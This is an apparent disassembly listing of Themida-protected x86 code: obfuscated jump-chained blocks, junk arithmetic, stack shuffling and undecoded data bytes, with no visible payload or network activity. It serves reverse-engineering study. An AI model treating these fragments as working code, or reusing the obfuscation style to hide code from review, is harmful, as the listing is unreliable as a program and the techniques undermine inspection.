		push	ebp
		mov	ebp, 30BF2D36h
		jmp	loc_54B604
; ---------------------------------------------------------------------------
		dd 0FF243C89h, 8B042474h, 0C481243Ch, 4, 8B24048Fh, 0F662424h
		dd 9C2404B3h, 0FF8613E9h, 243487FFh, 1E4AE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54E8EA:				; CODE XREF: Themida_:0054707Aj
		mov	ebx, 1Ch
		push	ebp
		mov	ebp, 1F241D81h
		push	ecx
		push	ebp
		mov	ebp, 8EC295Fh
		mov	ecx, 0E5C8BA0h
		sub	ecx, ebp
		jmp	loc_54B4B9
; ---------------------------------------------------------------------------
aPMSm		db 'P¸"m½"éŒ<',0
		dw 8900h
		dd 0C2892414h, 8B5AD589h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	eax, eax
		jmp	loc_551390
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
aPsa3		db 'Pé€3',0
		align 2
		dw 0C381h
		dd 4854230h, 8124348Bh,	4C4h, 0EFE95500h, 66FFFFDBh, 665DEA89h
		dd 7B23EB81h, 3FC38166h, 0D3016601h, 3FEB8166h,	0C3816601h
		dd 5A667B23h, 0DF5AE959h, 0FF56FFFFh, 8B042474h, 77E92434h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E993:				; CODE XREF: Themida_:00551947j
		add	edi, 35B037B8h
		add	edi, 8B9BAFB3h
		mov	esi, edi
		pop	edi
		push	ecx
		push	24h
		jmp	loc_54B2E8
; ---------------------------------------------------------------------------
		db 0C1h, 0EDh, 4
		dd 0FF870AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E9B5:				; CODE XREF: Themida_:0054BA52j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_551FC8
; ---------------------------------------------------------------------------
		db 80h
		dd 0E9C00FE1h, 8AF18005h, 34FFCF20h, 0B8EBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E9D6:				; CODE XREF: Themida_:0054ECF5j
		push	eax
		mov	eax, 702B5EE0h
		push	ecx
		mov	ecx, eax
		push	ecx
		push	esi
		mov	esi, 549F7A78h
		sub	[esp+4], esi
		pop	esi
		pop	edi
		add	edi, 549F7A78h
		jmp	loc_54938B
; ---------------------------------------------------------------------------

loc_54E9F7:				; CODE XREF: Themida_:0054CB6Fj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_54B62C
; ---------------------------------------------------------------------------
		db 0B0h, 0B4h, 0FEh
		dd 0E9C504C0h, 0FFFFBA41h
; ---------------------------------------------------------------------------

loc_54EA14:				; CODE XREF: Themida_:0054B56Dj
		pop	edx
		jmp	loc_548894
; ---------------------------------------------------------------------------

loc_54EA1A:				; CODE XREF: Themida_:0054F736j
		sub	ecx, 1DB955E4h
		inc	ecx
		add	ecx, 2374AF37h
		add	ebp, ecx
		pop	ecx
		jmp	loc_54BDF5
; ---------------------------------------------------------------------------
		db 83h
		dd 0D9E904C1h, 8900002Ah, 2168243Ch, 5F458F69h,	993EF81h
		dd 0FB89185Ah, 4E3C15Fh, 0FFB701E9h, 146BB9FFh,	0E9810083h
		dd 1C7640C2h, 286EE981h, 0D98728E8h, 0FAE9DBF7h, 0ADFFFFC8h
		dd 0FFF31CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54EA71:				; CODE XREF: Themida_:00552BE8j
		add	edi, 3088091Eh
		push	esi
		mov	esi, 0AC734919h
		xor	edi, esi
		jmp	loc_54CDF1
; ---------------------------------------------------------------------------

loc_54EA84:				; CODE XREF: Themida_:0054A537j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_54B1A9
; ---------------------------------------------------------------------------
		db 0BFh
		dd 69DF647Fh, 32F4C781h, 19E96875h, 1FFFFBFh, 24048BC2h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_548F5E
; ---------------------------------------------------------------------------
		dd 66C0B60Fh, 6824148Bh, 7E2Fh,	89241489h, 4C281E2h, 68000000h
		dd 5E44h, 38D6E9h
		db 0
; ---------------------------------------------------------------------------

loc_54EAE1:				; CODE XREF: Themida_:0054DBD8j
		mov	[esp], ebx
		mov	ebx, 0AF73A1Eh
		jmp	loc_550978
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0DA895204h, 1615E9h,	83F6E900h, 35B8FFFFh, 2D436B6Bh
		dd 51D97A78h, 80397035h, 3E8C113h, 4713C405h, 0B307053Ch
		dd 0C229A776h, 4EC8358h, 1C8EE9h, 82B25200h, 91E9ADB5h
		dd 80FFFFD4h, 0EAC04BC2h, 0B525E906h, 430FFFFh,	0B1E99C24h
		dd 0BAFFFF83h, 4, 148BD501h, 4C48124h, 81000000h, 4ECh
		dd 240C8900h, 1A0ABB53h, 0F3817BF5h, 7BF51A0Eh,	15BD989h
		dd 240C8BCDh, 3304C483h, 2C31242Ch, 242C3324h, 1D24E95Ch
		dd 0E6C10000h, 3BE68106h, 814DD75Dh, 0AE7AB2EEh, 5BE95020h
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EB97:				; CODE XREF: Themida_:0054AC05j
		sub	esi, 174A466h
		add	eax, esi
		pop	esi
		jmp	loc_54D459
; ---------------------------------------------------------------------------

loc_54EBA5:				; CODE XREF: Themida_:00550F01j
		xchg	ebx, [esp]
		jmp	loc_549C5B
; ---------------------------------------------------------------------------
		db 58h,	31h, 0EBh
		dd 27E3815Dh, 0E974BD20h, 0FFFFD80Eh, 405h, 0E9525300h
		dd 0FFFFBA77h
; ---------------------------------------------------------------------------

loc_54EBC8:				; CODE XREF: Themida_:0055286Cj
		pop	ecx
		add	esp, 4
		pop	ebx
		jmp	loc_54CAE1
; ---------------------------------------------------------------------------

loc_54EBD2:				; CODE XREF: Themida_:005521AAj
		sub	ecx, ebp
		pop	ebp
		mov	edx, ecx
		jmp	loc_5498F6
; ---------------------------------------------------------------------------
		dd 0E9168h, 240C8900h, 0FFD984E9h, 241C89FFh, 0E2E990B7h
		dd 81FFFF90h, 86A025C1h, 59CE01C0h, 5C243487h, 0FFC6FCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54EC05:				; CODE XREF: Themida_:0054C95Bj
		add	esp, 4
		add	ecx, edi
		push	ebp
		jmp	loc_54DF39
; ---------------------------------------------------------------------------
		db 50h
		dd 4B8h, 58C10100h, 8904EC83h, 0EC83242Ch, 24148904h, 0FF9F0AE9h
		dd 0B60F59FFh, 8B6866C0h, 0A56EE915h, 835AFFFFh, 3C3304C7h
		dd 243C3124h, 0E9243C33h, 0FFFFF6EEh
; ---------------------------------------------------------------------------

loc_54EC4C:				; CODE XREF: Themida_:0054AC21j
		add	edi, 0CC96096Fh
		xor	edi, ebx
		jmp	loc_54E1AE
; ---------------------------------------------------------------------------
		db 30h,	0C3h, 0E9h
		dd 0FFFFFE60h
; ---------------------------------------------------------------------------

loc_54EC60:				; CODE XREF: Themida_:00549F16j
		pop	ecx
		not	edx
		sub	edx, 0B60B049Dh
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 40631CC4h
		shl	ebx, 5
		sub	ebx, 61AA6BADh
		xor	ebx, 0E8826497h
		sub	eax, ebx
		pop	ebx
		sub	eax, ebx
		add	eax, 423B4844h
		pop	ebx
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55242C
; ---------------------------------------------------------------------------
		dd 0B5240C89h, 0EB885325h, 595BDA88h, 6866E2D0h, 8966305Ch
		dd 36E92414h, 57FFFFE3h, 357E53BFh, 81474716h, 0E56730F7h
		dd 0D6C7813Ch, 2945CE21h, 2C11E9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54ECEA:				; CODE XREF: Themida_:00549DD8j
		mov	edx, 71C6772Bh
		xor	ebp, edx
		pop	edx
		neg	ebp
		push	edi
		jmp	loc_54E9D6
; ---------------------------------------------------------------------------

loc_54ECFA:				; CODE XREF: Themida_:005508E5j
		xor	ebx, [esp]
		jmp	loc_54B150
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 3E12E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54ED0A:				; CODE XREF: Themida_:0054AF2Dj
		add	esp, 4
		pop	eax
		not	eax
		push	ecx
		push	eax
		pop	ecx
		pop	eax
		push	ecx
		jmp	loc_548720
; ---------------------------------------------------------------------------
		dw 0D35Ch
		dd 0D1E92424h, 50FFFF81h, 91E95854h, 89FFFFFEh,	4C781E7h
		dd 0E9000000h, 0FFFF9775h
; ---------------------------------------------------------------------------

loc_54ED38:				; CODE XREF: Themida_:00552222j
		add	ebp, edx
		sub	ebp, 1A2D54D8h
		pop	edx
		xchg	ebp, [esp]
		jmp	loc_54AA41
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 0D8h
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54ED4F:				; CODE XREF: Themida_:0054BF06j
		inc	ebp
		jmp	loc_552D70
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FFDD37E9h, 5BDF29FFh, 815FFD21h, 7D3753C5h,	1FC58172h
		dd 8159E23Dh, 0CA0400C5h, 5DEA311Bh, 99E9D001h,	5DFFFF88h
		dd 12546835h, 58C22956h, 0C103E2C1h, 0F28108E2h, 782576Ah
		dd 7EAAEA81h, 0C28160E2h, 5C9F359h, 2D5AD029h, 27601A8Fh
		dd 13E968h, 243C8900h, 0FF9B81E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54EDB5:				; CODE XREF: Themida_:0054E3D5j
		push	esi
		mov	esi, 22B05E9Bh
		xor	esi, 22B05E9Fh
		jmp	loc_54AA50
; ---------------------------------------------------------------------------

loc_54EDC6:				; CODE XREF: Themida_:0054B6D1j
		pop	ebp
		push	ebp
		jmp	loc_5488B1
; ---------------------------------------------------------------------------

loc_54EDCD:				; CODE XREF: Themida_:0054A63Aj
		sub	edi, 0D95DCE7Fh
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	edx, ecx
		pop	ecx
		and	eax, edx
		mov	edx, [esp]
		push	6366h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_54F8EE
; ---------------------------------------------------------------------------
		dw 0BEBEh
		dd 29092A14h, 0EBD15EF3h, 21A1B850h, 0C3010E30h, 8124048Bh
		dd 4C4h, 5BDF8900h, 739268h, 242C8900h,	3043BFBDh, 5DEF0906h
		dd 0FFE9D2E9h, 0C8BF57FFh, 0F7009119h, 0AFE9E9D7h, 5166FFFFh
		dd 0FFCE3CE9h, 2434FFFFh, 592434FFh, 81E28952h,	4C2h, 0A1BD5500h
		dd 0C1639C4Eh, 87E908E5h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54EE63:				; CODE XREF: Themida_:00549E80j
		mov	ebp, esp
		jmp	loc_547F3E
; ---------------------------------------------------------------------------

loc_54EE6A:				; CODE XREF: Themida_:0054A307j
		add	esp, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp

loc_54EE7A:				; CODE XREF: Themida_:loc_5493FFj
					; Themida_:00550AD3j
		push	dword ptr [edi+24h]
		push	edx
		push	eax
		push	6D754E65h
		pop	eax
		jmp	loc_54A30C
; ---------------------------------------------------------------------------
		dw 8149h
		dd 1EF8EFE9h, 0E4AEE97Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EE96:				; CODE XREF: Themida_:005477E6j
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_552A3A
; ---------------------------------------------------------------------------

loc_54EEAA:				; CODE XREF: Themida_:00547B2Dj
		mov	esp, [esp]
		jmp	loc_54F140
; ---------------------------------------------------------------------------
		dw 1433h
		dd 48F5C24h, 0E059E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EEBE:				; CODE XREF: Themida_:005488D9j
		pop	edi
		jmp	loc_547BB2
; ---------------------------------------------------------------------------
		dd 0E3E9E589h, 1FFFFC0h, 0FEC381CBh, 0E9614471h, 0FFFFB2D0h
		dd 50515352h, 0C8FEE6B0h, 4FAE9h
		db 0
; ---------------------------------------------------------------------------

loc_54EEE5:				; CODE XREF: Themida_:0054C7D0j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_54D817
; ---------------------------------------------------------------------------
		db 0B9h
		align 8
		dd 103D101h, 83240C8Bh,	575A04C4h, 4BE95F54h, 0B1FFFFF7h
		dd 0FFC180EFh, 0E980C1FEh, 80D1F6AFh, 0BC2C80E9h, 5351C828h
		dd 1C1AE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54EF26:				; CODE XREF: Themida_:0054AADEj
		mov	[esp], edi
		push	ebp
		jmp	loc_550507
; ---------------------------------------------------------------------------
		db 58h
		dd 0FD5EF729h, 1B51BD55h, 0B9512CA7h, 1AB43722h, 0FFF874E9h
		dd 0C8B66FFh, 5685024h,	89000076h, 4812424h, 424h, 4055800h
		dd 55000000h, 2BF57h, 0FD890000h, 81243C8Bh, 4C4h, 224C2D00h
		dd 0E80179D8h, 5DF0BF57h, 80E94F73h, 89000039h,	84E9242Ch
		dd 0BEFFFFF3h, 799A3848h, 3E2A00B8h, 8E9EE9BEh,	0B951FFFFh
		dd 8BC6AF5h, 8244C29h, 0BF88E959h, 0C481FFFFh, 4, 0E9240433h
		dd 0FFFF8EDEh, 28996852h, 0FBE90000h, 88FFFF95h, 0D738E9D0h
		dd 5053FFFFh, 103DB0B8h, 0B2BE563Ch, 0E93C103Dh, 19DCh
		dd 8308EAC1h, 0EAC1FFC2h, 0B9EA8107h, 4216D132h, 3CE6EA81h
		dd 0D031A05Bh, 8124148Bh, 4C4h,	241C8B00h, 81E78957h, 4C7h
		dd 4C78100h, 87000000h,	685C243Ch, 1887h, 0BD242C89h, 30513542h
		dd 6AF5BF57h, 7C0108BCh, 15E90824h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F02F:				; CODE XREF: Themida_:0054F696j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		push	2E6C7C1Ah
		pop	esi
		add	eax, 16D0655Dh
		add	eax, esi
		jmp	loc_547CE0
; ---------------------------------------------------------------------------

loc_54F051:				; CODE XREF: Themida_:00547D72j
		xor	eax, 58CAD496h
		push	eax
		neg	dword ptr [esp]
		pop	eax
		jmp	loc_551D5D
; ---------------------------------------------------------------------------
		dd 8704C683h, 565C2434h, 0C681E689h, 4,	1840E952h, 34FF0000h
		dd 6685924h, 8900005Eh,	0D868242Ch, 89000014h, 4832424h
		dd 0FE90424h
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F093:				; CODE XREF: Themida_:0054D2F7j
		add	eax, ebp
		jmp	$+5
		pop	ebp
		pop	ecx
		add	ebx, 121F44ABh
		add	ebx, 2ED6604Fh
		sub	ebx, eax
		sub	ebx, 2ED6604Fh
		jmp	loc_54C823
; ---------------------------------------------------------------------------
		db 0E9h, 3Ah, 7Eh
		dd 966FFFFh, 525E66F3h,	0FFA3DEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F0C5:				; CODE XREF: Themida_:0054BD0Bj
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_54A4BA
; ---------------------------------------------------------------------------
		dd 8B1C77FFh, 54572404h, 27BD555Fh, 5105FB3Bh, 67BD5557h
		dd 834DAE69h, 0DDF7FFEDh, 0ED8145h, 4D69F74Ch, 3855E9h
		dd 0AB65200h, 1D91E9h
		db 0
; ---------------------------------------------------------------------------

loc_54F101:				; CODE XREF: Themida_:00549229j
		add	dword ptr [esp], 0E45125h
		pop	ecx
		sub	ecx, 0E45125h
		pop	ebx
		sub	[edi+24h], ecx
		push	dword ptr [esp]
		jmp	loc_5511BB
; ---------------------------------------------------------------------------
aFFrsx		db 'f)ËfRé•+',0
		db 0
; ---------------------------------------------------------------------------

loc_54F125:				; CODE XREF: Themida_:00548CCBj
		sub	eax, edx
		add	eax, 55BF0727h
		add	eax, 37A96436h
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_54A95F
; ---------------------------------------------------------------------------

loc_54F140:				; CODE XREF: Themida_:0054EEADj
		mov	[esp], ebx
		push	edx
		mov	edx, 0B1B5F72h
		jmp	loc_54B8D7
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 58062F75h, 4245431h,	2434FF5Ah, 0FFD668E9h, 0C8BF0FFFh
		dd 1E0768h, 240C8900h, 0FF7D83E9h, 0D1BE56FFh, 511D4D33h
		dd 0FFDA52E9h, 4C781FFh, 81000000h, 4ECh, 243C8900h, 42474FFh
		dd 24048F5Fh, 8B54535Ch, 0C483241Ch, 4BE5604h, 81000000h
		dd 8B5DDAEBh, 0E9F3015Ah, 0FFFF99D5h
; ---------------------------------------------------------------------------

loc_54F1B0:				; CODE XREF: Themida_:0054AA3Cj
		push	ebx
		push	7121h
		jmp	loc_550530
; ---------------------------------------------------------------------------
		db 56h
		dd 4BEh, 246C8100h, 0BB678704h,	24740130h, 24448104h, 0BB678704h
		dd 0E9595E30h, 35E5h, 0E9242C89h, 0FFFFEEE9h, 240C8B66h
		dd 4EC81h, 8CE90000h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54F1F3:				; CODE XREF: Themida_:00549E4Dj
		pop	edx
		xchg	ecx, [esp]
		pop	esp
		push	ebx
		jmp	loc_547F19
; ---------------------------------------------------------------------------
		dw 2535h
		dd 0C174B964h, 0E0C102E8h, 0F121E905h, 0C481FFFFh, 4, 0FF7F0EE9h
		dd 7550BFFFh, 0F9318ACEh, 83243C8Bh, 0ED8104C4h, 7B6E0862h
		dd 0FFCDF1E9h, 243487FFh, 110DE9h
		db 0
; ---------------------------------------------------------------------------

loc_54F239:				; CODE XREF: Themida_:00550AFDj
		xchg	ecx, [esp]
		jmp	loc_54A2EE
; ---------------------------------------------------------------------------

loc_54F241:				; CODE XREF: Themida_:00547971j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_548C94
; ---------------------------------------------------------------------------

loc_54F24F:				; CODE XREF: Themida_:0054DFCDj
		pop	eax
		push	176Fh
		mov	[esp], edx
		push	0BF330C8h
		pop	edx
		sub	eax, edx
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_552210
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 9FD5E900h, 0C31FFFFh, 240C3324h, 243C895Ch, 0FF883FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F285:				; CODE XREF: Themida_:0054A507j
		mov	ecx, [esp]
		add	esp, 4
		and	ecx, esi
		mov	esi, [esp]
		push	edi
		push	1F95h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		jmp	loc_549BEA
; ---------------------------------------------------------------------------

loc_54F2A9:				; CODE XREF: Themida_:0054E15Bj
		pop	esi
		push	ebp
		mov	ebp, 4
		jmp	loc_5475F4
; ---------------------------------------------------------------------------
		db 66h,	5Bh, 0
		dd 240C8BC8h, 0E9E08950h, 3B3h,	4246C81h, 51C361EBh, 24042959h
		dd 3297E9h
		db 0
; ---------------------------------------------------------------------------

loc_54F2D5:				; CODE XREF: Themida_:0054ACFEj
		mov	ebx, esi
		jmp	loc_54CC88
; ---------------------------------------------------------------------------
		dd 3EE95051h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F2E3:				; CODE XREF: Themida_:005485E4j
		mov	esp, [esp]
		add	eax, 1C3E3662h
		push	edi
		push	esp
		pop	edi
		push	ebx
		mov	ebx, 4
		jmp	loc_54F8D3
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 81h
		dd 4C3h, 4B85000h, 29000000h, 1C8758C3h, 24248B24h, 50243C89h
		dd 9530AEB8h, 0ACB85050h, 50509530h, 7A243481h,	8B14A074h
		dd 0C481243Ch, 4, 1BD1E9h, 1E736800h, 2C890000h, 0E6895624h
		dd 4C681h, 0EE830000h, 24343304h, 33243431h, 895C2434h
		dd 8CE9241Ch
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54F35B:				; CODE XREF: Themida_:0054B869j
		push	ebp
		jmp	loc_5528A0
; ---------------------------------------------------------------------------
		db 1, 0C2h, 58h
		dd 0BD55FA01h, 5860370Eh, 0FFD2FDE9h, 5E089FFh,	4, 3304C083h
		dd 4312404h, 24043324h,	0FF8A24E9h, 0E3F1BAFFh,	0D701E05Bh
		dd 48FE95Ah, 8B660000h,	84E92404h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F39F:				; CODE XREF: Themida_:0055259Aj
		mov	edx, eax
		jmp	loc_548321
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 193250BBh, 0FF7F2AE9h, 242C89FFh, 42474FFh, 0FF8ACAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F3BD:				; CODE XREF: Themida_:0054B876j
		push	ecx
		jmp	loc_550D12
; ---------------------------------------------------------------------------
		db 81h
		dd 376BAFEBh, 82E95A21h, 45000010h, 33ED814Dh, 0C1034316h
		dd 0E5E905EDh, 0FE000011h, 0E9300CC8h, 0E51h, 148BEE04h
		dd 8B6E924h, 8B660000h,	8956240Ch, 5E9768E6h, 0C890000h
		dd 0ECBA5224h, 5204C279h, 0C1815A59h, 616963FEh, 2D76C981h
		dd 0E9C11D49h, 0DBF18104h, 107F6BFh, 685059CEh,	43F67D2h
		dd 99BD5558h, 2913F739h, 0A3E95DE8h, 83FFFFCCh,	0E1E904EBh
		dd 33FFFFD7h, 665C242Ch, 2404AB0Fh, 90FFE99Ch, 433FFFFh
		dd 24043124h, 0FFC474E9h, 4B9FFh, 0CF010000h, 592434FFh
		dd 0E904C483h, 21A8h, 96B95155h, 810AC05Bh, 8D767AF1h
		dd 0DAC18133h, 892E0F41h, 0E5C159CDh, 5E5C108h,	0B7C6B850h
		dd 0C501D60Bh, 0FFF718E9h, 241C89FFh, 0D888F388h, 0E951525Bh
		dd 0FFFFDE22h, 3CBF68h,	241C8900h, 3CBBh, 4CB95100h, 0C16E4647h
		dd 0E9C106E9h, 3E9C108h, 0CA01E981h, 0CB29DD42h, 0E9FB0159h
		dd 0FFFFF438h, 348BF501h, 741E924h, 0D7880000h,	0CB25E95Ah
		dd 0EDC1FFFFh, 13F58103h, 815BF296h, 28247DC7h,	81EF0122h
		dd 28247DEFh, 9CE95D22h, 81000022h, 3BE0ABEDh, 5DEB29D6h
		dd 875BDD01h, 248B242Ch, 0E04EE924h, 6E68FFFFh,	8900006Ah
		dd 0ACE92404h, 5700002Ch, 0FFC47AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F529:				; CODE XREF: Themida_:0054D35Cj
		push	eax
		mov	eax, 37174E18h
		sub	[esp+4], eax
		pop	eax
		jmp	loc_54CC40
; ---------------------------------------------------------------------------
		db 81h,	0CFh, 23h
		dd 81454877h, 0B27EC7F7h, 5FF8890Dh, 6B0950BEh,	0E9C601D4h
		dd 0FFFFAACEh, 600EBE56h, 0C6812FB2h, 8B78A6A3h, 0E95EF201h
		dd 0FFFFA4A7h, 8146D6F7h, 3847D8F6h, 0CD36E976h, 4D5DFFFFh
		dd 8106EDC1h, 6761C0E5h, 25BE5636h, 8116A038h, 4BF788EEh
		dd 8BF531EAh, 0C4812434h, 4, 815DE889h,	0A861DAEEh, 55C60111h
		dd 0A861DABDh, 0DF09E911h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F5AE:				; CODE XREF: Themida_:00549E22j
		shl	edx, 5
		not	edx
		add	edx, 6C8D3BEAh
		push	esi
		mov	esi, 73C2E7A8h
		sub	edx, esi
		pop	esi
		jmp	loc_5513BE
; ---------------------------------------------------------------------------

loc_54F5C7:				; CODE XREF: Themida_:0054B8C8j
		shr	edi, 3
		jmp	loc_54D687
; ---------------------------------------------------------------------------
		db 59h
		dd 0C67AE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F5D6:				; CODE XREF: Themida_:00547FE2j
		mov	bh, 49h
		push	ecx
		mov	cl, bh
		mov	ah, cl
		jmp	loc_54A4E5
; ---------------------------------------------------------------------------
		dw 0DF87h
		dd 8EFC15Bh, 5DE2CF81h,	0C7812D66h, 4AF35C6Ah, 0BC6BF781h
		dd 540578E9h, 0E92AD840h, 0FFFFBB1Fh, 0E9CE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54F60A:				; CODE XREF: Themida_:0054B07Cj
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		pop	edx
		jmp	loc_549A7E
; ---------------------------------------------------------------------------
		dw 4B9h
		dd 1000000h, 0EA8159CAh, 4, 5C241487h, 89243489h, 4EC81E6h
		dd 89000000h, 0A7B9240Ch, 5231E958h, 0D57E4BBAh, 5AD1213Dh
		dd 5107C981h, 0E1814E71h, 215014C3h, 2626C981h,	0E981741Fh
		dd 755F3623h, 8359CE01h, 343302C6h, 24343124h, 0FFC98BE9h
		dd 5FE955FFh, 5000029h,	4, 405h, 24048700h, 3877685Ch
		dd 14890000h, 0C95E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54F692:				; CODE XREF: Themida_:00549F24j
		pop	esp
		push	ecx
		mov	ecx, esp
		jmp	loc_54F02F
; ---------------------------------------------------------------------------
		db 53h
		dd 0E78066B7h, 51EF807Eh, 0F780CFFEh, 0B7CF802Bh, 127EE9h
		dd 4B85000h, 89000000h,	0DF0158C3h, 243C875Bh, 0E924248Bh
		dd 35DEh, 0CDB85056h, 0E95ACE7Dh, 59Fh,	3D3ABF57h, 0F8016474h
		dd 0D733E95Fh, 0C083FFFFh, 24048704h, 0FFCDB6E9h, 0BB0F66FFh
		dd 0E99C2404h, 0FFFF7A95h
; ---------------------------------------------------------------------------

loc_54F6F8:				; CODE XREF: Themida_:0054FAE1j
		add	esp, 4
		push	esi
		mov	esi, 4C942EC2h
		jmp	loc_54E150
; ---------------------------------------------------------------------------
		dd offset dword_4F0844+324h
		dw 8900h
		dd 168241Ch, 0E9000000h, 1E42h,	604BEE81h, 0BD5537DFh
		dd 25AC22C1h, 1A19BA52h, 0E95246B8h, 0FFFFB1CFh
; ---------------------------------------------------------------------------

loc_54F730:				; CODE XREF: Themida_:0054D7EDj
		push	ecx
		mov	ecx, 419A30F2h
		jmp	loc_54EA1A
; ---------------------------------------------------------------------------
		db 53h
		dd 4BBh, 0E9DF0100h, 0FFFF889Fh, 0E92434FFh, 0FFFFD55Ah
		dd 0D8281D04h, 6E95166h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F75B:				; CODE XREF: Themida_:0054B593j
		pop	edi
		add	esp, 4
		mov	ebx, ebp
		pop	ebp
		sub	[edi+24h], ebx
		jmp	loc_548AED
; ---------------------------------------------------------------------------
		dw 0E3C1h
		dd 60EB8103h, 0E96F9C33h, 0FFFF7981h, 4F3F68h, 24348900h
		dd 0E3E95E54h, 0FFFFFFE6h, 5E042474h, 8B24048Fh, 66642424h
		dd 59E90289h
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F79B:				; CODE XREF: Themida_:00547D09j
		push	1A98h
		jmp	loc_552A96
; ---------------------------------------------------------------------------

loc_54F7A5:				; CODE XREF: Themida_:00552AB9j
		xchg	dl, bh
		not	dl
		xchg	dl, bh
		jmp	loc_548AC9
; ---------------------------------------------------------------------------

loc_54F7B0:				; CODE XREF: Themida_:0054C9BBj
		pop	ecx
		add	esp, 4
		add	esp, 4
		add	esp, 4
		jmp	loc_546EF4
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 30F4h, 89240C89h, 4C181E1h, 83000000h, 0FF5104C1h, 59042474h
		dd 314AE9h, 0EBE95000h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F7E7:				; CODE XREF: Themida_:00550003j
		push	dword ptr [edi+1Ch]
		xor	dword ptr [esp], 3AB52C0h
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		jmp	loc_547033
; ---------------------------------------------------------------------------
		dw 7A04h
		dd 0E8C0B504h, 4FF0404h, 34E0D05Dh, 58C188C6h, 0C980C1FEh
		dd 6AC18095h, 0FF7ED5E9h, 8BFE01FFh, 5451243Ch,	0FF9F27E9h
		dd 0C48159FFh, 4, 0FF77D6E9h, 52E789FFh, 6B72B850h, 0AFBA68A0h
		dd 29B29C95h, 0EAC158C2h, 24C8E908h, 48F0000h, 14895C24h
		dd 57E28924h, 4BFh, 5FFA0100h, 8702EA83h, 248B2414h, 2148E924h
		dd 5E680000h, 5A08716Bh, 69E9D2F7h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54F883:				; CODE XREF: Themida_:0054B1ACj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_54FBAF
; ---------------------------------------------------------------------------

loc_54F89A:				; CODE XREF: Themida_:005529B4j
		mov	esp, [esp]
		jmp	loc_5493A6
